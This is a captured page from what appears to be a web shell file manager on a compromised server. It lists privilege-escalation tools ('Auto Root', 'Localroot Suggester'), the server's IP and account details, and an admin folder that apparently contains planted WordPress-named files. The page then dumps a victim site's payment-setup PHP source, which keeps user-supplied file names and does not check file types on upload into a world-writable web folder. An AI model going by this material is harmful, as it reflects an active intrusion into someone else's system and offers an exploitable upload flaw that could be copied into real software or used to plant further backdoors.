Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
data sycho /
admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
contact.php
9.39
KB
-rw-r--r--
2026-03-01 23:09
dashboard.php
12.62
KB
-rw-r--r--
2026-03-01 23:07
login.php
3.36
KB
-rw-r--r--
2026-03-01 20:35
logout.php
90
B
-rw-r--r--
2026-03-01 20:36
orders.php
24.63
KB
-rw-r--r--
2026-03-01 23:09
payment_methods.php
16.54
KB
-rw-r--r--
2026-03-01 23:03
save_contact.php
1.4
KB
-rw-r--r--
2026-03-01 20:30
services.php
15.75
KB
-rw-r--r--
2026-03-01 23:05
settings.php
6.88
KB
-rw-r--r--
2026-03-01 23:10
users.php
7.52
KB
-rw-r--r--
2026-03-01 23:08
verify_payment.php
13.79
KB
-rw-r--r--
2026-03-01 23:18
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php include '../includes/db.php'; session_start(); // Admin Auth Check if (!isset($_SESSION['admin_id'])) { header('Location: login.php'); exit; } // Ensure columns exist to avoid "Undefined index" errors try { $pdo->exec("ALTER TABLE admin_payment_methods ADD COLUMN method_file VARCHAR(255) AFTER account_details"); } catch (Exception $e) { } try { $pdo->exec("ALTER TABLE orders ADD COLUMN payment_screenshot VARCHAR(255) AFTER deliverable_file"); } catch (Exception $e) { } $success_msg = ""; $error_msg = ""; if (isset($_POST['save_method'])) { $name = $_POST['method_name']; $details = $_POST['account_details']; $instr = $_POST['instructions'] ?? ''; // File Upload handling for QR code/Method Image $method_file = null; if (isset($_FILES['method_file']) && $_FILES['method_file']['error'] == 0) { $upload_dir = '../uploads/payment_methods/'; if (!is_dir($upload_dir)) mkdir($upload_dir, 0777, true); $filename = "PM_" . time() . "_" . basename($_FILES['method_file']['name']); $target_file = $upload_dir . $filename; if (move_uploaded_file($_FILES['method_file']['tmp_name'], $target_file)) { $method_file = $filename; } } if (!empty($_POST['id'])) { $id = $_POST['id']; if ($method_file) { $stmt = $pdo->prepare("UPDATE admin_payment_methods SET method_name = ?, account_details = ?, instructions = ?, method_file = ? WHERE id = ?"); $stmt->execute([$name, $details, $instr, $method_file, $id]); } else { $stmt = $pdo->prepare("UPDATE admin_payment_methods SET method_name = ?, account_details = ?, instructions = ? WHERE id = ?"); $stmt->execute([$name, $details, $instr, $id]); } } else { $stmt = $pdo->prepare("INSERT INTO admin_payment_methods (method_name, account_details, instructions, method_file) VALUES (?, ?, ?, ?)"); $stmt->execute([$name, $details, $instr, $method_file]); } $success_msg = "Gateway configuration updated."; } if (isset($_GET['delete'])) { $stmt = $pdo->prepare("DELETE FROM admin_payment_methods WHERE id = ?"); $stmt->execute([$_GET['delete']]); header('Location: payment_methods.php?success=1'); exit; } $methods = $pdo->query("SELECT * FROM admin_payment_methods")->fetchAll(); $sidebar_links = [ ['name' => 'Dashboard', 'icon' => 'fas fa-chart-line', 'active' => true, 'url' => 'dashboard.php'], ['name' => 'Users', 'icon' => 'fas fa-users', 'active' => false, 'url' => 'users.php'], ['name' => 'Services', 'icon' => 'fas fa-layer-group', 'active' => false, 'url' => 'services.php'], ['name' => 'Orders', 'icon' => 'fas fa-shopping-cart', 'active' => false, 'url' => 'orders.php'], ['name' => 'Payment Setup', 'icon' => 'fas fa-credit-card', 'active' => false, 'url' => 'payment_methods.php'], ['name' => 'Contact Details', 'icon' => 'fas fa-address-book', 'active' => false, 'url' => 'contact.php'], ['name' => 'Admin Details', 'icon' => 'fas fa-user-shield', 'active' => false, 'url' => 'settings.php'], ]; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Payment Setup | Admin</title> <link rel="stylesheet" href="../assets/css/style.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <style> :root { --sidebar-width: 280px; } body { background: #fafafa; overflow: hidden; color: #0f172a; } .sidebar { width: var(--sidebar-width); height: 100vh; background: #ffffff; border-right: 1px solid rgba(0,0,0,0.05); position: fixed; left: 0; top: 0; padding: 3rem 1.5rem; display: flex; flex-direction: column; } .main-content { margin-left: var(--sidebar-width); height: 100vh; padding: 4rem; overflow-y: auto; } .sidebar-link { display: flex; align-items: center; gap: 1.2rem; padding: 1.1rem 1.5rem; border-radius: 12px; color: #64748b; margin-bottom: 0.5rem; font-weight: 600; text-decoration: none; } .sidebar-link.active { color: var(--primary); background: #f0fdf4; } .card { background: #fff; padding: 2.5rem; border-radius: 20px; border: 1px solid rgba(0,0,0,0.05); box-shadow: 0 10px 30px rgba(0,0,0,0.02); margin-bottom: 2rem; } .form-group { margin-bottom: 1.5rem; } .form-group label { display: block; margin-bottom: 0.5rem; font-size: 0.85rem; font-weight: 700; color: #475569; } .form-group input, .form-group textarea { width: 100%; padding: 0.8rem; border-radius: 8px; border: 1px solid #e2e8f0; font-family: inherit; } table { width: 100%; border-collapse: collapse; } th { text-align: left; padding: 1rem; color: #64748b; font-size: 0.75rem; text-transform: uppercase; border-bottom: 2px solid #f1f5f9; } td { padding: 1rem; border-bottom: 1px solid #f1f5f9; font-weight: 600; } .method-img { width: 50px; height: 50px; border-radius: 8px; object-fit: cover; } </style> </head> <body> <!-- Mobile Admin Header --> <div class="mobile-admin-header"> <a href="dashboard.php" class="logo" style="font-size: 1.4rem; text-decoration:none; color:#0f172a;">CodeBy<span style="color: var(--primary);">Sycho</span></a> <div class="mobile-toggle" onclick="toggleSidebar()"> <span></span> <span></span> <span></span> </div> </div> <!-- Sidebar Overlay --> <div class="sidebar-overlay" id="sidebarOverlay" onclick="toggleSidebar()"></div> <aside class="sidebar" id="adminSidebar"> <div class="mobile-only" style="text-align: right; padding: 0 1rem 2rem 0;"> <button onclick="toggleSidebar()" style="background:none; border:none; font-size: 1.5rem; color: #64748b;"><i class="fas fa-times"></i></button> </div> <a href="dashboard.php" class="logo" style="margin-bottom: 5rem; display: block; font-size: 1.8rem; text-decoration:none; color:#0f172a;">CodeBy<span style="color: var(--primary);">Sycho</span></a> <div style="flex-grow: 1;"> <?php foreach ($sidebar_links as $link): ?> <a href="<?php echo htmlspecialchars($link['url']); ?>" class="sidebar-link <?php echo $link['active'] ? 'active' : ''; ?>"> <i class="<?php echo htmlspecialchars($link['icon']); ?>"></i> <?php echo htmlspecialchars($link['name']); ?> </a> <?php endforeach; ?> </div> <div style="border-top: 1px solid #f1f5f9; padding-top: 2rem;"> <a href="logout.php" style="color: #ef4444; font-weight: 700; text-decoration: none;"><i class="fas fa-power-off"></i> Logout</a> </div> </aside> <script> function toggleSidebar() { document.getElementById('adminSidebar').classList.toggle('active'); document.getElementById('sidebarOverlay').classList.toggle('active'); } </script> <main class="main-content"> <div style="margin-bottom: 3.5rem;"> <p style="font-size: 0.75rem; font-weight: 800; color: var(--primary); text-transform: uppercase; letter-spacing: 2px; margin-bottom: 0.5rem;">Financial Ops</p> <h1 style="font-size: 1.8rem; font-weight: 800; color: #0f172a; letter-spacing: -0.5px;">Payment Gateways</h1> </div> <?php if ($success_msg): ?> <div style="background: #dcfce7; color: #166534; padding: 1rem; border-radius: 10px; margin-bottom: 2rem; font-weight: 700; font-size: 0.9rem;"> <i class="fas fa-check-circle" style="margin-right: 0.8rem;"></i> <?php echo $success_msg; ?> </div> <?php endif; ?> <div class="dashboard-grid" style="display: grid; grid-template-columns: 1fr 1.5fr; gap: 2rem; align-items: start;"> <!-- Form Section --> <div class="card admin-card"> <h3 style="margin-bottom: 1.5rem; font-size: 1.1rem; font-weight: 800; color: var(--text-main);">Add / Edit Method</h3> <form action="" method="POST" enctype="multipart/form-data"> <input type="hidden" name="id" id="method_id"> <div class="form-group" style="margin-bottom: 1.2rem;"> <label style="margin-bottom: 0.6rem; font-size: 0.85rem; font-weight: 700; color: #475569;">Gateway Name</label> <input type="text" name="method_name" id="method_name" required placeholder="Binance / JazzCash" style="padding: 0.8rem; font-size: 0.95rem; width: 100%; border-radius: 12px; border: 1px solid #e2e8f0; background: #f8fafc;"> </div> <div class="form-group" style="margin-bottom: 1.2rem;"> <label style="margin-bottom: 0.6rem; font-size: 0.85rem; font-weight: 700; color: #475569;">Account Details</label> <textarea name="account_details" id="account_details" rows="3" required placeholder="Account Number, Title" style="padding: 0.8rem; font-size: 0.95rem; width: 100%; border-radius: 12px; border: 1px solid #e2e8f0; background: #f8fafc; font-family: inherit;"></textarea> </div> <div class="form-group" style="margin-bottom: 1.2rem;"> <label style="margin-bottom: 0.6rem; font-size: 0.85rem; font-weight: 700; color: #475569;">User Instructions</label> <textarea name="instructions" id="instructions" rows="2" placeholder="e.g. Please send screenshot" style="padding: 0.8rem; font-size: 0.95rem; width: 100%; border-radius: 12px; border: 1px solid #e2e8f0; background: #f8fafc; font-family: inherit;"></textarea> </div> <div class="form-group" style="margin-bottom: 1.5rem;"> <label style="margin-bottom: 0.6rem; font-size: 0.85rem; font-weight: 700; color: #475569;">Gateway Logo/QR</label> <input type="file" name="method_file" accept="image/*" style="font-size: 0.85rem; padding: 0.5rem 0; color: #64748b;"> </div> <button type="submit" name="save_method" class="btn-primary" style="width: 100%; padding: 1.1rem; border-radius: 15px; font-weight: 800; font-size: 1rem; box-shadow: 0 10px 20px var(--primary-glow);">Authorize Gateway</button> </form> </div> <!-- List Section --> <div class="card admin-card" style="display: flex; flex-direction: column;"> <h3 style="margin-bottom: 1.5rem; font-size: 1.1rem; font-weight: 800; color: var(--text-main);">Active Channels</h3> <div class="scroll-container" style="max-height: 450px; overflow-y: auto; padding-right: 5px;"> <!-- Desktop Table --> <table class="desktop-only-table" style="width: 100%; border-collapse: collapse;"> <thead> <tr> <th style="text-align: left; padding: 1rem; font-size: 0.75rem; color: #64748b; text-transform: uppercase;">Image</th> <th style="text-align: left; padding: 1rem; font-size: 0.75rem; color: #64748b; text-transform: uppercase;">Method</th> <th style="text-align: left; padding: 1rem; font-size: 0.75rem; color: #64748b; text-transform: uppercase;">Details</th> <th style="text-align: left; padding: 1rem; font-size: 0.75rem; color: #64748b; text-transform: uppercase;">Action</th> </tr> </thead> <tbody> <?php foreach ($methods as $m): ?> <tr style="border-bottom: 1px solid #f1f5f9;"> <td style="padding: 1rem;"> <?php if (isset($m['method_file']) && $m['method_file']): ?> <img src="../uploads/payment_methods/<?php echo htmlspecialchars($m['method_file']); ?>" style="width: 45px; height: 45px; border-radius: 10px; object-fit: cover;"> <?php else: ?> <div style="width:45px; height:45px; background:#f1f5f9; border-radius:10px; display:flex; align-items:center; justify-content:center; color:#94a3b8;"><i class="fas fa-image"></i></div> <?php endif; ?> </td> <td style="padding: 1rem; font-weight: 700; color: var(--text-main);"><?php echo htmlspecialchars($m['method_name']); ?></td> <td style="padding: 1rem; font-size: 0.85rem; color: #64748b;"><?php echo nl2br(htmlspecialchars($m['account_details'])); ?></td> <td style="padding: 1rem;"> <div style="display: flex; gap: 0.8rem;"> <button onclick="editMethod(<?php echo htmlspecialchars(json_encode($m)); ?>)" style="background:none; border:none; color:var(--primary); font-weight:700; cursor:pointer;">Edit</button> <a href="?delete=<?php echo $m['id']; ?>" style="color: #ef4444; font-weight:700; text-decoration:none;" onclick="return confirm('Delete this gateway?')">Delete</a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> <!-- Mobile List View --> <div class="mobile-only-list"> <?php foreach ($methods as $m): ?> <div style="background: #fdfdfd; border: 1px solid #f1f5f9; border-radius: 15px; padding: 1.2rem; margin-bottom: 1rem;"> <div style="display: flex; align-items: center; gap: 1rem; margin-bottom: 1rem;"> <?php if (isset($m['method_file']) && $m['method_file']): ?> <img src="../uploads/payment_methods/<?php echo htmlspecialchars($m['method_file']); ?>" style="width: 50px; height: 50px; border-radius: 12px; object-fit: cover;"> <?php else: ?> <div style="width:50px; height:50px; background:#f1f5f9; border-radius:12px; display:flex; align-items:center; justify-content:center; color:#94a3b8;"><i class="fas fa-image"></i></div> <?php endif; ?> <div> <h4 style="margin: 0; font-weight: 800; color: var(--text-main);"><?php echo htmlspecialchars($m['method_name']); ?></h4> <p style="margin: 0; font-size: 0.85rem; color: #64748b;"><?php echo htmlspecialchars($m['account_details']); ?></p> </div> </div> <div style="display: flex; gap: 1rem; border-top: 1px solid #f1f5f9; padding-top: 1rem;"> <button onclick="editMethod(<?php echo htmlspecialchars(json_encode($m)); ?>)" style="flex: 1; background: var(--primary-light); color: var(--primary); border: none; padding: 0.6rem; border-radius: 8px; font-weight: 800;">Edit</button> <a href="?delete=<?php echo $m['id']; ?>" style="flex: 1; text-align: center; background: #fee2e2; color: #ef4444; text-decoration: none; padding: 0.6rem; border-radius: 8px; font-weight: 800;" onclick="return confirm('Delete this gateway?')">Delete</a> </div> </div> <?php endforeach; ?> </div> </div> </div> </div> </main> <script> function editMethod(m) { document.getElementById('method_id').value = m.id; document.getElementById('method_name').value = m.method_name; document.getElementById('account_details').value = m.account_details; document.getElementById('instructions').value = m.instructions; window.scrollTo({ top: 0, behavior: 'smooth' }); } </script> </body> </html>